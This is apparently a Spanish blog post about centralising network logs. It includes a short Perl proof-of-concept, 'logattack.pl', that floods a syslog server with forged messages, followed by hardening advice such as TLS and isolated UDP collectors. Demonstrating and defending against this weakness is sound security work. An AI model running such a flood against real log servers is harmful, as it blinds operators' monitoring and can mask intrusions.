Syslog Server

Después de un tiempo comencé a probar y jugar y jugar y jugar y jugar(etc..) con los Logs de servidores y equipos de red. Es fundamental en cualquier red decente que todos los logs estén centralizados en uno o más servidores dedicados a tal fin y, por supuesto, que todos estos dispositivos estén sincronizados con la misma hora y fecha (Es necesaria la misma hora para que todos notifiquen del problema cuando realmente sucedió).

Así pues monté mi Syslog Server y empecé a monitorear la red, agregando servidores, routers y switches.

Encontré defectos y errores gracias a esta maravilla y pude solucionar muchos problemas relacionados; pero también encontré algunas falencias en el funcionamiento mismo del Syslog.

Cuando se me ocurrió agregar el ASA(Firewall Cisco) a monitorear ya todo se convirtió en ASA y no pude ver más nada. Cisco ASA envío unos 1000 logs en menos de 1 hora. Una cantidad terrible de logs prácticamente ilegibles e inmanipulables. Es así como el Syslog ya no me sirvió de nada, todo lo que pudiera analizar estaba obstruido por la cantidad de basura diaria que enviaba este dispositivo. Ahí fue cuando recordé la clase de CCNA donde nos hablaron de este tipo de error/vulnerabilidad.

Busqué en la red algún exploit pero solo encontré pocos ejemplos y muchas preguntas. Así que… domingo a la mañana, dispuse de 30 minutos para escribir mi propio exploit para atacar un syslog server.

Practicamente «ensucia» tus registros de logs inyectando basura. Es posible filtrar esa basura?. Siiiii, claro!, pero tenés que tomarte el trabajo de hacer el parse correspondiente. La idea es demostrar de una forma práctica y sencilla como con dos o tres comandos se puede dejar obsoleto un servidor logs no asegurado correctamente.

El script lo escribí en Perl que es un lenguaje de scripting que me queda cómodo y funciona en cualquier cosa (Windows, Linux, Solaris, Mac, etc…). Si tenés Windows podés probarlo bajando Active Perl y si tenés linux con un #yum install perl o #apt-get install perl lo tenés en segundos.(Si es que ya no lo tenés instalado)

Lo corrés en una shell (CLI) así:  #logattack.pl 127.0.0.1 «Server Hackeado!!!» udp 1000000 dónde el primer parámetro es la ip del Syslog Server, el segundo el mensaje que va a aparecer, protocolo (udp/tcp) y la cantidad de registros a insertar(ojo con este último número porque el ataque es instantáneo).

#!/usr/bin/perl/
# Includes
	use Sys::Syslog; # Todo excepto setlogsock(), or: 
	use Sys::Syslog qw(:DEFAULT setlogsock); # por defecto... setlogsock() 
	use Sys::Syslog qw(:standard :macros); # Todas las funciones necesarias

	if($ARGV[0]==""){
		print "/***** Prueba de Concepto - Jeremias Palazzesi ****/";
		print "\n\nlogattack [HOST] [\"MENSAJE\"] [udp/tcp] [Cantidad de lineas a insertar(entero)]\n\n";
	}else{
	
		# Define Vars
		my $host = $ARGV[0];
		my $mensaje = $ARGV[1];
		my $prot = $ARGV[2];
		my $facility = "LOCAL0";
		my $ident = "696969";
		my $fin = $ARGV[3];
		
		# UDP / TCP
		setlogsock($prot); 
		
		#Ip Del server
		$Sys::Syslog::host = $host; 
		
		# Abriendo log
		openlog($ident, 'ndelay,pid', $facility); 
		
		#Bucle para repetir el ataque
		for (my $i=0; $i < = $fin; $i++) {
		   syslog('info', $mensaje); 
		}
		# Cerrando log
		closelog;
	
	}
logattack.pl

Lo próximo a investigar es como hacer para spoofear el cliente syslog. (Imagínate que todos los dispositivos te avisan que están fallando cuando realmente no es así: ALAAARMMM!!)

Todo esto me llevó al siguiente nivel: Aplicar seguridad a mi Syslog.

Consejos para cocinar un Log Server seguro en tu red

  1. Establecer varios servidores de SYSLOG jerarquizados. Un servidor principal que almacene todo y varios secundarios con logs parciales de la red.
  2. Implementar TLS/SSL entre los syslogs satélites, el servidor principal y todos los clientes a fin de conservar la integridad y confidencialidad de la fuente.
  3. En caso de que algunos dispositivos de red no soporte autenticación y encriptación (pequeños dispositivos de red, switches y routers) crear un servidor de logs aislado que reciba por UDP sin seguridad y solo asignar al mismo estos dispositivos y ninguno más. (Mejor un servidor expuesto que todos)
  4. Utilizar herramientas de parse y no confiar en multitail o parsers básicos. (O mucho grep, find y pipes[|] O.o)
  5. Antes de apagar un incendio, cerciórense que haya fuego!!! (en entornos inseguros es una opción con sentido común).
  6. Implementen un SNMP para tener información redundante. (La paranoia es la base de la seguridad.)